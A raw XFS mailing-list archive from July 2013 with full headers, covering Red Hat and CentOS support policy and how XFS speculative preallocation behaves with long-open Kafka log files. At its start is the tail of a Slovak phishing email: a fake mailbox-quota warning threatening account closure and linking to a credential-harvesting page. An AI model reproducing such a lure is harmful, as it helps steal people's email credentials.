X-Barracuda-BRTS-Evidence: 642ecceb74d120c0177b6ae40cdf0937-746-txt X-Barracuda-Spam-Score: 1.09 X-Barracuda-Spam-Status: No, SCORE=1.09 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DATE_IN_PAST_03_06, DATE_IN_PAST_03_06_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137351 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 DATE_IN_PAST_03_06 Date: is 3 to 6 hours before Received: date 1.08 DATE_IN_PAST_03_06_2 DATE_IN_PAST_03_06_2 Ven E-mail uvatea; Prekroili ste 23432 boxy nastavi svoje Webov sluba / Administrtor, a budete ma problmy pri odosielan a prijma e-maily, km znova overi. Muste aktualizova kliknutm na odkaz niie a vyplte daje pre overenie vho tu Prosm, kliknite na odkaz niie alebo skoprova vloi do e-prehliada pre overenie Schrnky. http://webmailupdate30242.jimdo.com/ Pozor! Ak tak neurobte, bud ma obmedzen prstup k e-mailu schrnky. Ak sa nepodar aktualizova svoj ​​et do troch dn od aktualizcie oznmenia, bude v et natrvalo uzavret. S pozdravom, System Administrator ® -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From aurfalien@gmail.com Sat Jul 27 20:38:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 966147F67 for ; Sat, 27 Jul 2013 20:38:41 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 10C5FAC002 for ; Sat, 27 Jul 2013 18:38:41 -0700 (PDT) X-ASG-Debug-ID: 1374975519-04cbb02c3a158960001-NocioJ Received: from mail-oa0-f53.google.com (mail-oa0-f53.google.com [209.85.219.53]) by cuda.sgi.com with ESMTP id oTicaY5tGF4CG60O (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 27 Jul 2013 18:38:39 -0700 (PDT) X-Barracuda-Envelope-From: aurfalien@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.219.53 X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.53] Received: by mail-oa0-f53.google.com with SMTP id k14so10629264oag.12 for ; Sat, 27 Jul 2013 18:38:39 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.53] X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.53] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to:x-mailer; bh=siRpjqX6dKPUnWlsdaNrOYmvDgtHgCty7JN8423l044=; b=Lpgjb1EsH5bUh98Ty3vowQWuNPkBSXJTS6y/NuE/YO3ecrE9PqQtvLgUYOZ/1ZFxX6 cZ7WUCj5NHg6sx8yA1OzDnxi9frX6rxoEFpoT8C2IaD9Qg4Abm25hUvxWqeIycjz65gO QRfqzlsByadKlOgtztVFCgfetlNjhDh4/kbu15jbP8D9JtyNQwyXdu1f25nGr+qjg2iR k+yRw5ej2t4+UGHslz/SgeajQIHr/BsfY2E2m7LMZHUo9ABY2/wNrdhioLbzVwAJWNJW 1e6v0aiC44ZfKWDPgM5DYHRAwYjPLu79bD3/Qv1vidA2WPcuQDn+keLX+uwZYTec1cgC dbYw== X-Received: by 10.182.118.129 with SMTP id km1mr48202652obb.15.1374975518914; Sat, 27 Jul 2013 18:38:38 -0700 (PDT) Received: from [192.168.1.74] (75-63-29-182.lightspeed.irvnca.sbcglobal.net. [75.63.29.182]) by mx.google.com with ESMTPSA id h3sm33096304oeo.2.2013.07.27.18.38.36 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 27 Jul 2013 18:38:37 -0700 (PDT) Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) Mime-Version: 1.0 (Apple Message framework v1085) X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) Content-Type: text/plain; charset=us-ascii From: aurfalien In-Reply-To: <6869770.2390.1374958821773.JavaMail.root@benjamin.baylink.com> Date: Sat, 27 Jul 2013 18:38:34 -0700 Cc: xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: <043835EA-08D4-4945-92F0-173BFE2C604C@gmail.com> References: <6869770.2390.1374958821773.JavaMail.root@benjamin.baylink.com> To: Jay Ashworth X-Mailer: Apple Mail (2.1085) X-Barracuda-Connect: mail-oa0-f53.google.com[209.85.219.53] X-Barracuda-Start-Time: 1374975519 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137351 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Jul 27, 2013, at 2:00 PM, Jay Ashworth wrote: > ----- Original Message ----- >> From: "Stan Hoeppner" >=20 >> On 7/26/2013 2:43 PM, Jay Ashworth wrote: >>=20 >>> But to address your specific point, I don't believe that RH is going >>> to >>> base its opinion on what time its employees spend supporting the >>> remainder >>> of the FOSS ecosystem on whether the relevant distro was copied from >>> theirs, >>> or not -- and I will be disappointed, publicly, and vocally, if they >>> do. >>=20 >> On 7/26/2013 8:26 PM, Dave Chinner wrote: >=20 > In a message which, for some reason, I do not see here in my list = folder; > (it wasn't in my inbox either; this seems a running thing) >=20 >>> Disclaimer: I'm the primary RHEL XFS developer, employed by Red Hat. >>>=20 >>> CentOS is a rebadged RHEL product that is released for free. If you >>> want bugs fixed in CentOS, then generally you are on your own. If >>> you want paid support where people will fix problems you have, you >>> need to pay for RHEL. >>>=20 >>> You get what you pay for. >>=20 >> Jay, I'm awaiting your public and vocal disappointment. BTW, Dave has >> stated this position regarding CentOS many times. I'm guessing you're >> new to the XFS list (July 13 maybe) or simply missed such prior posts >> if you've been lurking much longer. >=20 > I am new to the list, yes. But -- and I can only reply to what you=20 > quoted here; apologies to DC if it's less than what he wrote -- I am > in fact disappointed: in Dave for the strawman reply. No one, that I=20= > saw, *reported bugs or asked for support* with CentOS. >=20 > The question -- and it was coming from someone who sounded like > they had read their Raymond, Moen, and Tatham, was "how do I=20 > determine *which version of the XFS drivers* is in the kernel > I'm running, so that I can helpfully report my problems to the list". >=20 > If Dave thinks *that* question is out of bounds, then when I do my=20 > rotating reformat to recover from my recent power supply induced=20 > crash, XFS will not be the file system I pick off the pulldown menu > to reformat with. Well, you'll be missing out. Who cares what any one thinks in terms of = Free vs Fee paradigms, XFS is simply a rockin FS. Been using it since the Irix days and never really got into any optional = flags during creation or mounting etc until now. Actually, Dave and others who reply to my posts helped me understand = what I've been blindly doing for years and that knowledge carries over = to other FS's. I was really intrigued by his and Linus's back and forth not to long = ago, some great knowledge for sure. This list is great so filter whats applicable and toss the rest in a bit = bucket. - aurf= From jra@baylink.com Sat Jul 27 20:50:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2571A7F6A for ; Sat, 27 Jul 2013 20:50:51 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A3AF3AC001 for ; Sat, 27 Jul 2013 18:50:50 -0700 (PDT) X-ASG-Debug-ID: 1374976248-04cbb02c3e159400001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id huZBXsrCsUMGa0Pu for ; Sat, 27 Jul 2013 18:50:48 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 134121F0090B for ; Sat, 27 Jul 2013 21:50:48 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id MR7RZ3rgX8cX for ; Sat, 27 Jul 2013 21:50:43 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id A3B3C1F008DC for ; Sat, 27 Jul 2013 21:50:43 -0400 (EDT) Date: Sat, 27 Jul 2013 21:50:43 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <6559720.2408.1374976243593.JavaMail.root@benjamin.baylink.com> In-Reply-To: <043835EA-08D4-4945-92F0-173BFE2C604C@gmail.com> Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) MIME-Version: 1.0 X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [107.41.190.255] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1374976248 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137352 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 2.00 BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL Custom Rule HREF_FROM_MISMATCH_TEXT_URIx1_HL ----- Original Message ----- > From: "aurfalien" > > If Dave thinks *that* question is out of bounds, then when I do my > > rotating reformat to recover from my recent power supply induced > > crash, XFS will not be the file system I pick off the pulldown menu > > to reformat with. > > Well, you'll be missing out. Who cares what any one thinks in terms of > Free vs Fee paradigms, XFS is simply a rockin FS. You bet; we've put dozens of TB on and off it in 9 years of running MythTV. And in the 2 instances where it's blown its brains out, Dave, in particular, has been very helpful in putting it back together; it's a little unnerving, actually, to look the handle up after an IRC chat and discover you had the lead dev on the phone. > I was really intrigued by his and Linus's back and forth not to long > ago, some great knowledge for sure. I was watching that; I didn't see it end. Did it? > This list is great so filter whats applicable and toss the rest in a > bit bucket. As it happens, though, My Sister's DVR is *not* the only machine with Really Big Filesystems on it*, and it really does matter to me what the development policies are on critical subsystems like this; hence my query above. I really really *love* SuSE, after 8 years, but they've made a critical change I simply can't tolerate for commercial use, and I'm going to have to pick a new distro. (And anyone who says "well, just switch to SLES" either forgets that that's $1200/server/year, or forgets where Linux came from in the first place...) CentOS is the only thing that's anywhere close. * ... for which I'm responsible ... Cheers -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From aurfalien@gmail.com Sat Jul 27 21:08:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D80B57F61 for ; Sat, 27 Jul 2013 21:08:41 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 65D0CAC001 for ; Sat, 27 Jul 2013 19:08:38 -0700 (PDT) X-ASG-Debug-ID: 1374977316-04cbb02c3c159f50001-NocioJ Received: from mail-oa0-f42.google.com (mail-oa0-f42.google.com [209.85.219.42]) by cuda.sgi.com with ESMTP id tioPVnHCscAtjwd7 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 27 Jul 2013 19:08:37 -0700 (PDT) X-Barracuda-Envelope-From: aurfalien@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.219.42 X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.42] Received: by mail-oa0-f42.google.com with SMTP id i18so2141023oag.29 for ; Sat, 27 Jul 2013 19:08:36 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.42] X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.42] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to:x-mailer; bh=K6fcdEEMYM0Sz8o0B1/G2BLGSLzoQylj3J/y3Y5Bopc=; b=UQf1N4LgJfdzwrcIVsebqS1bB2SL1pHkZdcSwsgY83aMNIsNlvY0l59amL+BW66JH+ tnjxCmLr4WdC1xp9P5nYfy0nlPDQYznttZBDazuZF+ZCqwF2TRRa0NVcrVtn8AkVaH0e qKm43jBI2lBWGaWY0boPFx0K8gkFZdImorNP/cpExGrMOaxR+dCOIJdtFenzNi517OmM V4HBGts5YDuUpzL1J5Is1YlMSpdCYetnLugXOnHETCMjeV+b3WHmUbIbWIxAli73QGdf a9CjrQWJPYJDsmlsAkpbo1L3S2243CzqJLawLBxE9ii6notl7EMlf6Tv+1wbIznC5GN0 FuKQ== X-Received: by 10.182.158.36 with SMTP id wr4mr47332799obb.60.1374977316649; Sat, 27 Jul 2013 19:08:36 -0700 (PDT) Received: from [192.168.1.74] (75-63-29-182.lightspeed.irvnca.sbcglobal.net. [75.63.29.182]) by mx.google.com with ESMTPSA id mt3sm79332894oeb.1.2013.07.27.19.08.34 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 27 Jul 2013 19:08:35 -0700 (PDT) Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) Mime-Version: 1.0 (Apple Message framework v1085) X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) Content-Type: text/plain; charset=us-ascii From: aurfalien In-Reply-To: <6559720.2408.1374976243593.JavaMail.root@benjamin.baylink.com> Date: Sat, 27 Jul 2013 19:08:32 -0700 Cc: xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: <52C3E9E6-61DD-4537-9A64-C8CBFC86F6E3@gmail.com> References: <6559720.2408.1374976243593.JavaMail.root@benjamin.baylink.com> To: Jay Ashworth X-Mailer: Apple Mail (2.1085) X-Barracuda-Connect: mail-oa0-f42.google.com[209.85.219.42] X-Barracuda-Start-Time: 1374977317 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137352 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Jul 27, 2013, at 6:50 PM, Jay Ashworth wrote: > ----- Original Message ----- >> From: "aurfalien" >=20 >>> If Dave thinks *that* question is out of bounds, then when I do my >>> rotating reformat to recover from my recent power supply induced >>> crash, XFS will not be the file system I pick off the pulldown menu >>> to reformat with. >>=20 >> Well, you'll be missing out. Who cares what any one thinks in terms = of >> Free vs Fee paradigms, XFS is simply a rockin FS. >=20 > You bet; we've put dozens of TB on and off it in 9 years of running > MythTV. And in the 2 instances where it's blown its brains out,=20 > Dave, in particular, has been very helpful in putting it back = together; > it's a little unnerving, actually, to look the handle up after an=20 > IRC chat and discover you had the lead dev on the phone. >=20 >> I was really intrigued by his and Linus's back and forth not to long >> ago, some great knowledge for sure. >=20 > I was watching that; I didn't see it end. Did it? Not really but I'm waiting :) >> This list is great so filter whats applicable and toss the rest in a >> bit bucket. >=20 > As it happens, though, My Sister's DVR is *not* the only machine with > Really Big Filesystems on it*, and it really does matter to me what = the > development policies are on critical subsystems like this; hence my=20 > query above. >=20 > I really really *love* SuSE, after 8 years, but they've made a = critical=20 > change I simply can't tolerate for commercial use, and I'm going to = have > to pick a new distro. (And anyone who says "well, just switch to = SLES"=20 > either forgets that that's $1200/server/year, or forgets where Linux = came > from in the first place...) >=20 > CentOS is the only thing that's anywhere close. If it RHEL/CentOS really is the only option, then perhaps get one box on = RHEL and submit bugs for it. - aurf= From jbr@squareup.com Sat Jul 27 21:19:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E4C6E7F6C for ; Sat, 27 Jul 2013 21:19:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A7B7D304059 for ; Sat, 27 Jul 2013 19:19:19 -0700 (PDT) X-ASG-Debug-ID: 1374977957-04bdf02f2015f3d0001-NocioJ Received: from mail-ve0-f179.google.com (mail-ve0-f179.google.com [209.85.128.179]) by cuda.sgi.com with ESMTP id TRioGASY1cPqeQ5A (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 27 Jul 2013 19:19:18 -0700 (PDT) X-Barracuda-Envelope-From: jbr@squareup.com X-Barracuda-Apparent-Source-IP: 209.85.128.179 Received: by mail-ve0-f179.google.com with SMTP id d10so2170677vea.10 for ; Sat, 27 Jul 2013 19:19:17 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squareup.com; s=google; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=nw4RLlDGX3lcY3XC+C41SIReUxTtuvT86uACOeZr2EU=; b=ZgMxFSEki4pXv9qUJIUtAzUFIdSiQ136So7yNa4xwbMldPVvllY2KLMJ7N7/PS70mn Q1GwzPSH4jJi3E6djr368oVfNlu6OtC/jM5T0kqLaz3y4RKmschYrm3GgA8vyZtjuHGj BksNuRzLybW2NWn+KFsMY9KAsbFI/U+R2JkT8= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:x-gm-message-state; bh=nw4RLlDGX3lcY3XC+C41SIReUxTtuvT86uACOeZr2EU=; b=oEmT4vjQNJPeBC8UTOHrdHX626z3IgP/rB8Nf2GbGvMJHZEBZWHNimxBg0X70TOznm bnljosKXieMoASgkVAfPhWPWFPAVBzjAlF9ZkEGmI3HUdAWlyIkH9WoX80hSnc6ANTDl 7COy2MBo6Uu9nmNR4vaOCt6bJOQ17NDEE5lmFeloZtABO1Adm7ddqV5jFF/2MgZGykW2 nRrXHmvZEtzETzDwEcpXjoCp/RTNDrdGg7mt4zQDVnL63D28aEn81cFZtNGFATG8RJ+e J6WS+NoOwcfLrI/J8KG0zLw5+3hVITea7gJKreNFSF3YgNs9kY98IxhSet316xagLihj uftA== MIME-Version: 1.0 X-Received: by 10.52.27.116 with SMTP id s20mr19758389vdg.42.1374977957385; Sat, 27 Jul 2013 19:19:17 -0700 (PDT) Received: by 10.52.184.194 with HTTP; Sat, 27 Jul 2013 19:19:17 -0700 (PDT) In-Reply-To: <20130727013024.GS13468@dastard> References: <1374823420041-35002.post@n7.nabble.com> <20130726115021.GO13468@dastard> <51F2CD8B.8080207@hardwarefreak.com> <20130726205018.GM3111@sgi.com> <20130727013024.GS13468@dastard> Date: Sat, 27 Jul 2013 22:19:17 -0400 Message-ID: Subject: Re: understanding speculative preallocation From: Jason Rosenberg X-ASG-Orig-Subj: Re: understanding speculative preallocation To: Dave Chinner Cc: Ben Myers , stan@hardwarefreak.com, xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=20cf3079bd9ab969dd04e2890070 X-Gm-Message-State: ALoCoQmMGNS0OysVqS5iebFMhJzTsF9/YaHAUNjUZxv8D3ooaDpQeokSxLWj+txa0rDFKOsh6tiH X-Barracuda-Connect: mail-ve0-f179.google.com[209.85.128.179] X-Barracuda-Start-Time: 1374977958 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137352 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --20cf3079bd9ab969dd04e2890070 Content-Type: text/plain; charset=ISO-8859-1 Thanks Dave, The automatic prealloc removal, if no new writes after 5 minutes, sounds perfect for my use case. But realistically, I'm not likely to get our org to push/find an os update just for this purpose too easily. So, in the meantime, the question remains, assuming I have the version I have currently (dynamic preallocation, persists indefinitely until the file is closed/app quits, etc.), will this idea work (e.g. close the file after writing, then re-open read-only?). Currently, the app does keep the files open indefinitely long after writing has stopped, and this is of course resulting in the preallocation persisting indefinitely. Jason On Fri, Jul 26, 2013 at 9:30 PM, Dave Chinner wrote: > On Fri, Jul 26, 2013 at 05:11:55PM -0400, Jason Rosenberg wrote: > > Is it safe to say that speculative preallocation will not be used if a > file > > is opened read-only? > > > > It turns out that the kafka server does indeed write lots of log files, > and > > rotate them after they reach a max size, but never closes the files until > > the app exits, or until it deletes the files. This is because it needs > to > > make them available for reading, etc. So, an obvious change for kafka > > might be to close each log file after rotating, and then re-open it > > read-only for consumers of the data. Does that sound like a solution > that > > would pro-actively release pre-allocated storage? > > No need - the mainline code that has a periodic background scan that > stops buildup of unused prealocation. i.e. if the file is clean for > 5 minutes, then the prealloc will be removed. Hence it doesn't > matter what the application does with it - if it holds it open and > doesn't write to the file, then the prealloc will get removed. More > will be added the next time the file is written, but until then it > won't use excessive space. > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > --20cf3079bd9ab969dd04e2890070 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    Thanks Dave,

    The automatic prealloc rem= oval, if no new writes after 5 minutes, sounds perfect for my use case. =A0= But realistically, I'm not likely to get our org to push/find an os upd= ate just for this purpose too easily.

    So, in the meantime, the question remains, assuming I h= ave the version I have currently (dynamic preallocation, persists indefinit= ely until the file is closed/app quits, etc.), will this idea work (e.g. cl= ose the file after writing, then re-open read-only?). =A0Currently, the app= does keep the files open indefinitely long after writing has stopped, and = this is of course resulting in the preallocation persisting indefinitely.

    Jason


    On Fri, Jul 26, 2013 at 9:30 PM, Dave Chinner <d= avid@fromorbit.com> wrote:
    On Fri, Jul 26, 2013 at 05= :11:55PM -0400, Jason Rosenberg wrote:
    > Is it safe to say that speculative preallocati= on will not be used if a file
    > is opened read-only?
    >
    > It turns out that the kafka server does indeed write lots of log files= , and
    > rotate them after they reach a max size, but never closes the files un= til
    > the app exits, or until it deletes the files. =A0This is because it ne= eds to
    > make them available for reading, etc. =A0 So, an obvious change for ka= fka
    > might be to close each log file after rotating, and then re-open it > read-only for consumers of the data. =A0Does that sound like a solutio= n that
    > would pro-actively release pre-allocated storage?

    No need - the mainline code that has a periodic background scan that<= br> stops buildup of unused prealocation. i.e. if the file is clean for
    5 minutes, then the prealloc will be removed. Hence it doesn't
    matter what the application does with it - if it holds it open and
    doesn't write to the file, then the prealloc will get removed. More
    will be added the next time the file is written, but until then it
    won't use excessive space.

    Cheers,

    Dave.
    --
    Dave Chinner
    david@fromorbit.com

    --20cf3079bd9ab969dd04e2890070-- From jra@baylink.com Sat Jul 27 21:21:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 366337F6C for ; Sat, 27 Jul 2013 21:21:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 023E7304059 for ; Sat, 27 Jul 2013 19:21:40 -0700 (PDT) X-ASG-Debug-ID: 1374978099-04bdf02f2115f630001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id siJoTkCgcdXSpjcf for ; Sat, 27 Jul 2013 19:21:39 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 28FF01F002F5 for ; Sat, 27 Jul 2013 22:21:39 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id EI+zvIfG7U8J for ; Sat, 27 Jul 2013 22:21:34 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id B89851F00318 for ; Sat, 27 Jul 2013 22:21:34 -0400 (EDT) Date: Sat, 27 Jul 2013 22:21:34 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <31450470.2412.1374978094689.JavaMail.root@benjamin.baylink.com> In-Reply-To: <52C3E9E6-61DD-4537-9A64-C8CBFC86F6E3@gmail.com> Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) MIME-Version: 1.0 X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [107.41.190.255] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1374978099 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137353 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 ----- Original Message ----- > From: "aurfalien" > If it RHEL/CentOS really is the only option, then perhaps get one box > on RHEL and submit bugs for it. Sure, but "submit bugs" was a straw man the entire time The OP wasn't talking about how and where to submit bugs, and neither was I. The OP was trying to determine how he got from Distro/Kernel Version to XFS checkout ID, so that he could *talk to the XFS devs* about his problem. And no one had a straight answer for him, which straight answer *is*: "You have to talk to whomever builds the kernel packages for the distro you're working on; they should be able to tell you which XFS {version| release|checkout} is built into that particular kernel 